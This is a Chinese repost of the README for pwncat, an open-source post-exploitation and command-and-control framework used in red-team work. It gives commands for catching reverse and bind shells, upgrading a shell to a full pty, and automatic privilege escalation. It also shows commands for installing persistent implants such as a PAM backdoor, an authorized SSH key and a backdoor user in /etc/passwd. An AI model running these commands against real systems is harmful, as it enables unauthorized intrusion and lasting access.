目录导航
项目地址
GitHub
https://github.com/calebstewart/pwncat
pwncat 简介
pwncat 是一个后渗透平台 用于 Linux 目标. 它最初是作为基本绑定和反向 shell 的包装器,并从那里发展起来。它简化了常见的红队操作,同时从攻击者机器而不是目标上暂存代码。
pwncat 以前只支持Linux,但是最近做了很多工作来支持多平台。目前,有对 Windows 目标的 alpha 支持。有关如何在 Windows 目标上使用 pwncat 的详细信息,请参阅最新文档。
pwncat 拦截与远程 shell 的原始通信,并允许用户在远程主机上执行自动化操作,包括枚举、植入安装甚至权限提升。
收到连接后,pwncat 将设置一些常用配置以使用远程 shell。
- 在远程 shell 中禁用历史记录
- 规范化 shell 提示
- 找到有用的二进制文件(使用
which
) - 尝试为完整的交互式会话生成伪终端 (pty)
pwncat
知道如何使用几种不同的方法生成 pty,并将交叉引用与先前枚举的可执行文件的方法。生成 pty 后,它将以原始模式设置控制终端,因此您可以以类似于ssh
.
pwncat
还将远程 pty 设置(例如行、列、TERM
环境变量)与您的本地设置同步, 以确保 shell 与交互式应用程序(例如vim
或 )正确运行nano
。
John Hammond 和我pwncat
在 GRIMMCon 上发表了演讲。我们的演示文稿,可在此处在 YouTube 上找到。该视频演示了 API 和界面的早期版本。请参阅文档以获取最新用法和 API 文档!
pwncat文档正在 Read the Docs 上构建。前往那里获取最新的使用和开发文档!
pwncat 在 Linux 上需要 Python 3.9+
pwncat 是一个命令和控制框架,它将基本的反向或绑定 shell 变成一个功能齐全的开发平台。初始连接后,框架将探测远程系统以识别目标系统上本机可用的有用二进制文件。然后它将尝试在远程主机上启动一个伪终端并为您提供原始终端访问。
不过,pwncat 并不止于此。除了原始终端访问之外,pwncat 还可以在终端访问的同时以编程方式与远程主机交互。pwncat 为您提供了一个本地 shell 接口,它可以利用您的连接进行枚举、文件上传/下载、自动持久性安装甚至自动提权。
为什么需要pwncat
您可能熟悉使用反向 shell 获取原始终端访问权限的常用方法。它通常是这样的:
# 连接到远程绑定shell nc 1.1.1.1 4444 # 生成远程伪终端 remote$ python -c "import pty; pty.spawn('/bin/bash')" # Background your raw shell remote$ C-z # Set local terminal to raw mode local$ stty raw -echo # Foreground your remote shell local$ fg # You now have a full terminal that doesn't exit on C-c and # supports keyboard shortcuts, history, graphical terminal # applications, etc. remote$
这很好用。然而,一段时间后,获得反向shell的附加步骤很费力。此外,在获得原始访问权限之前不小心按“Cc”而丢失远程 shell 的风险很高。这是这个项目的最初灵感。
视频演示
pwncat安装方法
pwncat 的唯一系统依赖项是python3
和pip
。对于pip
安装所有的Python的依赖,你可能会需要你的分布的Python开发包(python3-dev
用于基于Debian的发行版)。建议使用虚拟环境,但不是必需的。安装带有虚拟环境的 pwncat
# 推荐使用虚拟化环境 python -m venv /opt/pwncat # 在虚拟环境中安装pwncat /opt/pwncat/bin/pip install pwncat-cs # 这允许您在虚拟环境之外使用pwncat ln -s /opt/pwncat/bin/pwncat-cs /usr/local/bin
在没有虚拟环境的情况下安装 pwncat
pip install pwncat-cs
安装后,您可以通过安装的脚本使用 pwncat:
$ pwncat-cs --help usage: pwncat-cs [-h] [--version] [--download-plugins] [--config CONFIG] [--ssl] [--ssl-cert SSL_CERT] [--ssl-key SSL_KEY] [--identity IDENTITY] [--listen] [--platform PLATFORM] [--port PORT] [--list] [[protocol://][user[:password]@][host][:port]] [port] Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets. positional arguments: [protocol://][user[:password]@][host][:port] Connection string describing victim port Alternative port number to support netcat-style syntax optional arguments: -h, --help show this help message and exit --version, -v Show version number and exit --download-plugins Pre-download all Windows builtin plugins and exit immediately --config CONFIG, -c CONFIG Custom configuration file (default: ./pwncatrc) --ssl Connect or listen with SSL --ssl-cert SSL_CERT Certificate for SSL-encrypted listeners (PEM) --ssl-key SSL_KEY Key for SSL-encrypted listeners (PEM) --identity IDENTITY, -i IDENTITY Private key for SSH authentication --listen, -l Enable the `bind` protocol (supports netcat-style syntax) --platform PLATFORM, -m PLATFORM Name of the platform to use (default: linux) --port PORT, -p PORT Alternative way to specify port to support netcat-style syntax --list List installed implants with remote connection capability
BlackArch 包
pwncat 是为 BlackArch 和标准存储库打包的。在 BlackArch 上安装非常简单:
pacman -Syu pwncat-caleb
Windows 插件二进制文件
Windows 目标利用 .Net 二进制文件来稳定连接并绕过 Windows 目标上存在的各种防御。基本的 Windows C2 使用两个名为stageone.dll
和 的DLL stagetwo.dll
。第一阶段是一个简单的反射加载器。它将读取第二阶段的编码和压缩内容,并反射性地执行它。第二阶段包含 C2 框架的实际内容。
此外,第二阶段 C2 框架提供了反射加载其他 .Net 程序集并执行它们的方法的能力。加载的程序集必须符合 pwncat 插件 API。这些 API 通常不能从交互式会话访问,而是为 Python API 创建的。
插件存储在plugin_path
配置值指定的路径中。默认情况下,此配置指向~/.local/share/pwncat
,但可以通过您的配置文件进行更改。如果请求时插件不存在,则将通过在 pwncat 本身中跟踪的 URL 下载适当的版本。
如果您的攻击机器无法直接访问 Internet,您可以通过两种方式预先准备插件二进制文件。最简单的方法是将您的攻击机器连接到互联网,并使用以下--download-plugins
参数:
pwncat --download-plugins
此命令将为您将所有内置插件放置在插件目录中。或者,如果您使用的是发布版本 pwncat,您可以从 GitHub 发布页面下载所有内置插件的预打包 tarball。然后您可以将其解压缩到您的插件路径中:
# 用你的pwncat版本替换{version} cd ~/.local/share/pwncat wget https://github.com/calebstewart/pwncat/releases/download/{version}/pwncat-plugins-{version}.tar.gz tar xvfs pwncat-plugins-{version}.tar.gz rm pwncat-plugins-{version}.tar.gz
开发环境
pwncat 利用 Poetry 依赖项和构建管理器。安装完后,就可以用它来管理本地的开发环境了。
git clone https://github.com/calebstewart/pwncat.git cd pwncat poetry shell poetry install
pwncat用法
基本用法
在 pwncat 中与受害者交互时有两种主要的操作模式:远程和本地。在任何给定时间,提示将包括(local)
或(remote)
以指示当前模式。使用本地模式时,您可以访问 pwncat 特定的命令,例如上传、下载、使用、运行和退出。在远程模式下,您将可以访问特定于平台的 shell 环境(例如 bash 或 powershell)。
要在这些模式之间切换,您可以使用C-d
组合键。在远程模式下,这个组合在发送到目标之前被 pwncat 拦截。如果需要C-d
直接向目标发送组合,可以使用C-k
前缀。前缀C-d
或C-k
with C-k
将告诉 pwncat 将文字C-d
或C-k
序列发送到目标。
命令行界面和启动顺序
pwncat 提供了一个入口点脚本,允许您输入未连接的 pwncat 提示,并可选择立即连接到受害者。pwncat 入口点的语法在很大程度上与 pwncatconnect
命令相同。下面的部分描述了参数/语法。
为了建立连接,您必须指定所有需要的通道参数以及指定平台名称(例如linux
或windows
)。如果未指定平台,则假定为 linux。如果连接到不正确的平台,这可能会导致挂起。
C2频道
pwncat 允许在连接到受害者时使用几个不同的 C2 通道。最初,pwncat 包装了一个原始套接字,就像netcat
一些额外的功能。随着框架的扩展,我们已经将这个命令和控制层从核心 pwncat 功能中抽象出来,以允许更多的连接方式。目前,只实现了原始套接字和ssh
。您可以连接到三个不同的C2协议的受害者:bind
,connect
,和ssh
。前两个行为类似于 netcat。这些模式只是打开一个原始套接字并假设另一端有一个 shell。在 SSH 模式下,我们使用提供的凭据合法地对受害主机进行身份验证,并将 SSH shell 通道用作我们的 C2 通道。
pwncat 还实现了 SSL 包装版本的bind
和connect
协议恰当地命名为ssl-bind
和ssl-connect
。这些协议的功能与绑定/连接基本相同,只是它们通过加密的 SSL 隧道运行。您必须在受害者端使用加密的绑定或反向 shell,例如或socat OPENSSL-LISTEN:。ncat --ssl
pwncat 通过protocol
下面讨论的连接字符串字段公开这些不同的 C2 通道协议。
连接到受害者
连接到受害者是通过连接字符串完成的。连接字符串是描述特定 C2 通道/协议参数的通用方法。这看起来像: [protocol://][user[:password]]@[host:][port][?arg1=value&arg2=value]
连接字符串中的每个字段都转换为传递给 C2 通道的参数。有些通道不需要所有参数。例如,bind
或connect
频道不需要用户名或密码。如果上述格式中没有显式参数或解析值,您可以使用查询字符串参数指定任意通道参数。您不能两次指定相同的参数(例如connect://hostname:1111?port=4444
)。
如果protocol
未指定该字段,pwncat 将尝试根据上下文找出正确的协议。以下规则适用:
- 如果提供了用户和主机,则假设
ssh
协议 - 如果没有提供用户但提供主机、端口和
--ssl
参数,则假设协议是ssl-connect
- 如果没有提供用户但提供了主机和端口并且没有
--ssl
,则假设协议是connect
- 如果没有提供用户或主机(或主机
0.0.0.0
)和certfile
,keyfile
或--ssl
设置参数,协议被假定为ssl-bind
- 如果未提供用户或主机(或主机为
0.0.0.0
),则假定协议为bind
- 如果指定了第二个位置整数参数
--ssl
但未指定,则假定协议为connect
- 如果指定并
--ssl
提供了第二个位置整数参数,则假定协议为ssl-connect
- 如果使用
-l
参数并提供了certfile
、keyfile
或--ssl
参数,则假定协议为ssl-bind
。 - 如果
-l
单独使用该参数,则假定协议为bind
连接到受害者绑定 shell
在这种情况下,受害者在开放端口上运行原始绑定 shell。受害者必须在可路由的地址处可用(例如,未经过 NAT)。该connect
协议提供了这种能力。连接到 1.1.1.1:4444 处的绑定shell
# netcat syntax pwncat-cs 192.168.1.1 4444 # Full connection string pwncat-cs connect://192.168.1.1:4444 # Connection string with assumed protocol pwncat-cs 192.168.1.1:4444
连接到受害者加密绑定 shell
在这种情况下,受害者正在一个开放端口上运行一个 ssl 包装的绑定 shell。受害者必须在可路由的地址处可用(例如,未经过 NAT)。该ssl-connect
协议提供了这种能力。连接到 1.1.1.1:4444 处的绑定shell
# Full connection string pwncat-cs connect://192.168.1.1:4444 # ncat style syntax pwncat-cs --ssl 192.168.1.1 4444 pwncat-cs --ssl 192.168.1.1:4444
捕获受害者反向shell
在这种情况下,受害者被利用的方式是,他们在特定端口上打开与攻击主机的连接,而在另一端打开原始 shell。您的攻击主机必须可从受害机器路由。该模式通过bind
协议访问。捕获反向shell¶
# netcat syntax pwncat-cs -lp 4444 # Full connection string pwncat-cs bind://0.0.0.0:4444 # Assumed protocol pwncat-cs 0.0.0.0:4444 # Assumed protocol, assumed bind address pwncat-cs :4444
捕获受害者加密的反向shell
在这种情况下,受害者被利用的方式是,他们在特定端口上打开与攻击主机的 ssl 连接,而在另一端打开原始 shell。您的攻击主机必须可从受害机器路由。该模式通过ssl-bind
协议访问。
如果在没有显式证书文件或密钥文件的情况下提供显式ssl-bind
协议或--ssl
参数,则会生成带有虚拟属性的自签名证书。如果密钥和证书都存在,则 certfile 和 keyfile 都可以指向同一个捆绑的 PEM 文件。捕获反向shell¶
# ncat style syntax pwncat-cs --ssl --ssl-cert cert.pem --ssl-key cert.pem -lp 4444 # Full connection string pwncat-cs ssl-bind://0.0.0.0:4444?certfile=/path/to/cert.pem&keyfile=/path/to/key.pem # Auto-generated self-signed certificate pwncat-cs --ssl -lp 4444 # Auto-generated self-signed certificate with explicit protocol pwncat-cs ssl-bind://0.0.0.0:4444
连接到远程 SSH 服务器
如果您能够获得远程用户的有效密码或私钥,则可以通过 SSH 启动与远程主机的 pwncat 会话。该模式通过ssh
协议访问。关于协议假设的说明:如果为给定用户安装了持久性方法,则仅指定用户和主机将首先尝试通过该持久性方法重新连接。之后,将尝试 ssh 连接。如果您不想要这种行为,您应该明确指定ssh://
您的协议。连接到远程 SSH 服务器¶
# SSH style syntax (assumed protocol, prompted for password) pwncat-cs [email protected] # Full connection string with password pwncat-cs "ssh://root:r00t5P@[email protected]" # SSH style syntax w/ identity file pwncat-cs -i ./root_id_rsa [email protected]
连接到 Windows 目标
只要您在调用期间明确指定平台,上述所有示例也可用于连接到 Windows 目标。例如,要连接到 Windows 绑定 shell,请执行以下操作192.168.1.1:4444
:连接到 Windows 绑定shell
# netcat syntax pwncat-cs -m windows 192.168.1.1 4444 # Full connection string pwncat-cs -m windows connect://192.168.1.1:4444 # Connection string with assumed protocol pwncat-cs -m windows 192.168.1.1:4444
重新连接到受害者
pwncat 能够在目标上安装、跟踪和删除持久性植入。如果您之前连接到目标,并安装了持久植入,则可以使用 pwncat 入口点列出可用植入并尝试重新连接到给定目标。可以使用目标的 IP 地址或唯一主机 ID 来完成重新连接。列出已安装的持久性植入物
pwncat-cs --list
如果需要,pwncat 将尝试自动重新连接到主机。具体来说,如果没有指定明确的协议、端口、身份或密码,pwncat 会假设您希望重新连接到指定的主机,并在尝试直接连接之前尝试通过匹配的植入物重新连接。重新连接到已知主机¶
# Attempt reconnection as any user; specify host ID pwncat-cs 999c434fe6bd7383f1a6cc10f877644d # Attempt reconnection first as the specified user pwncat-cs [email protected]

自动提权
pwncat 具有定位和利用提权漏洞的能力。漏洞通过枚举识别,可以通过escalate
命令进行利用。在内部,pwncat 有两种类型的升级对象。首先,有能力。这些是我们能够在目标上不同用户的权限下执行的操作。第二种类型的对象是升级。升级利用一种或多种能力来实现作为目标用户的会话。
例如,能力可能是这样的:
- 文件写入
- 文件读取
- 二进制执行
提权可能是这样的:
- 执行 shell(最简单的选项)
- 读取用户私钥并通过 ssh-ing 连接到本地主机
- 写私钥
- 在 /etc/passwd 中植入后门用户(如果可以以 root 身份写入文件)
调用权限提升
有两个escalate
子命令。为了定位直接升级向量,您可以使用 list
子命令。这将使用枚举框架来定位可能作为活动用户的任何升级。
# List direct escalations for any user (local) pwncat$ escalate list # List direct escalations to the specified user (local) pwncat$ escalate list -u root
可以使用run
子命令触发升级。此命令将首先尝试直接升级到请求的用户。如果无法直接提权,它将尝试根据可用的直接升级通过其他用户递归提权。
# Escalate to root (local) pwncat$ escalate run # Escalate to a specified user (local) pwncat$ escalate run -u john
持久控制
持久性植入物
pwncat 提供了在目标主机上安装和管理持久植入的能力。该implant
模块提供了一种管理已安装植入物的方法。安装单个植入物只需执行植入物模块本身即可。
安装种植体
pwncat 带有一些标准的植入物。如下所示,可以轻松完成标准植入物的安装。
# Install an authorized public key as the current user (local) pwncat$ run implant.authorized_key key=./id_rsa # Install an authorized key as another user (requires root access) (local) pwncat$ run implant.authorized_key user=john key=./id_rsa # Install a pam backdoor module (local) pwncat$ run implant.pam password=s3cr3ts # Install a backdoor user within /etc/passwd (local) pwncat$ run implant.passwd backdoor_user=pwncat backdoor_pass=pwncat
列出已安装的植入物
通用implant
模块可用于列出已安装的植入物。
# List installed implants (local) pwncat$ run implant list # The default subcommand is to list (local) pwncat$ run implant
使用局部植入物提权
通用implant
模块提供了利用本地植入将权限升级到另一个用户的能力。这可用于利用显式升级副通过escalate
命令执行自动升级。在执行子命令期间,系统会提示您使用植入物。implant escalate
# Attempt escalation with a local implant; will be prompted for which implant(s) to use (local) pwncat$ run implant escalate
移除植入物
再次,该implant
模块提供移除已安装植入物的能力。与 escalate 子命令一样,在运行模块后,系统会提示您选择要移除的植入物。
# Remove one or more implants (local) pwncat$ run implant remove
重新连接植入物
远程植入提供了一种随意重新连接到目标的方法。只需执行 pwncat 入口点并指定目标的 IP 地址或唯一主机 ID,即可完成重新连接。pwncat 将自动检查已安装的植入程序并尝试重新连接。有关示例,请参阅用法部分。
官方文档
https://pwncat.readthedocs.io/
转载请注明出处及链接